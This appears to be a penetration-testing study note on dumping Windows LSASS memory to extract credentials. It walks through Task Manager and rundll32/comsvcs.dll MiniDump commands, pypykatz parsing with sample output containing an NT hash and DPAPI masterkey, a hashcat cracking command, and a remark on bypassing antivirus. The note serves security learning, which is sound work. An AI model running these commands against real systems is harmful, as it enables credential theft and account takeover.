alt text


_Overview

In addition to acquiring copies of the SAM database to extract and crack password hashes, we will also benefit from targeting the Local Security Authority Subsystem Service (LSASS).

Upon initial logon, LSASS will:

  • Cache credentials locally in memory
  • Create access tokens
  • Enforce security policies
  • Write to Windows’ security log
    Let’s cover some of the techniques and tools we can use to dump LSASS memory and extract credentials from a target running Windows.

Securable Objects

In Windows, securable objects are resources that the operating system protects through Access Control Lists (ACLs) and other security mechanisms. These objects can have permissions assigned to users or groups, allowing or denying access.

LSASS Process Memory dump

Similar to the process of attacking the SAM database, it would be wise for us first to create a copy of the contents of LSASS process memory via the generation of a memory dump. Creating a dump file lets us extract credentials offline using our attack host. K

Through task manager

  1. Open Task Manager
  2. Select the Processes tab
  3. Find and right click the Local Security Authority Process
  4. Select Create dump file
    alt text
    A file called lsass.DMP is created and saved in %temp%. This is the file we will transfer to our attack host.
    alt text

Through rundll32

This way is faster than the Task Manager method and more flexible because we may gain a shell session on a Windows host with only access to the command line. It is important to note that modern anti-virus tools recognize this method as malicious activity.

Before issuing the command to create the dump file, we must determine what process ID (PID) is assigned to lsass.exe. This can be done from cmd or PowerShell:

Finding LSASS’s PID in cmd

1
> tasklist /svc

Finding LSASS’s PID in powershell

1
2
3
4
system32> Get-Process lsass

ID
672

Creating a dump file using PowerShell

1
system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

that most modern AV tools recognize this as malicious activity and prevent the command from executing. In these cases, we will need to consider ways to bypass or disable the AV tool we are facing

With this command, we are running rundll32.exe to call an exported function of comsvcs.dll which also calls the MiniDumpWriteDump (MiniDump) function to dump the LSASS process memory to a specified directory (C:\lsass.dmp).

1
2
extract hashes
$ pypykatz lsa minidump /home/peter/Documents/lsass.dmp

LSA Inners (dumped content)

MSV

1
2
3
4
5
6
7
8
9
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
== MSV ==
Username: bob
Domain: DESKTOP-33E7O54
LM: NA
NT: 64f12cddaa88057e06a81b54e73b949b
SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
DPAPI: NA

MSV is an authentication package in Windows that LSA calls on to validate logon attempts against the SAM database.

WDIGEST

1
2
3
4
5
== WDIGEST [14ab89]==
username bob
domainname DESKTOP-33E7O54
password None
password (hex)

WDIGEST is an older authentication protocol enabled by default in Windows XP - Windows 8 and Windows Server 2003 - Windows Server 2012. LSASS caches credentials used by WDIGEST in clear-text.

Kerberos

1
2
3
== Kerberos ==
Username: bob
Domain: DESKTOP-33E7O54

Kerberos is a network authentication protocol used by Active Directory in Windows Domain environments.
Domain user accounts are granted tickets upon authentication with Active Directory. This ticket is used to allow the user to access shared resources on the network that they have been granted access to without needing to type their credentials each time.
LSASS caches passwords, ekeys, tickets, and pins associated with Kerberos

DPAPI

1
2
3
4
5
== DPAPI [14ab89]==
luid 1354633
key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

Mimikatz and Pypykatz can extract the DPAPI masterkey for logged-on users whose data is present in LSASS process memory. These masterkeys can then be used to decrypt the secrets associated with each of the applications using DPAPI and result in the capturing of credentials for various accounts. covered in privEsc

crack nt hash

1
$ sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
⬆︎TOP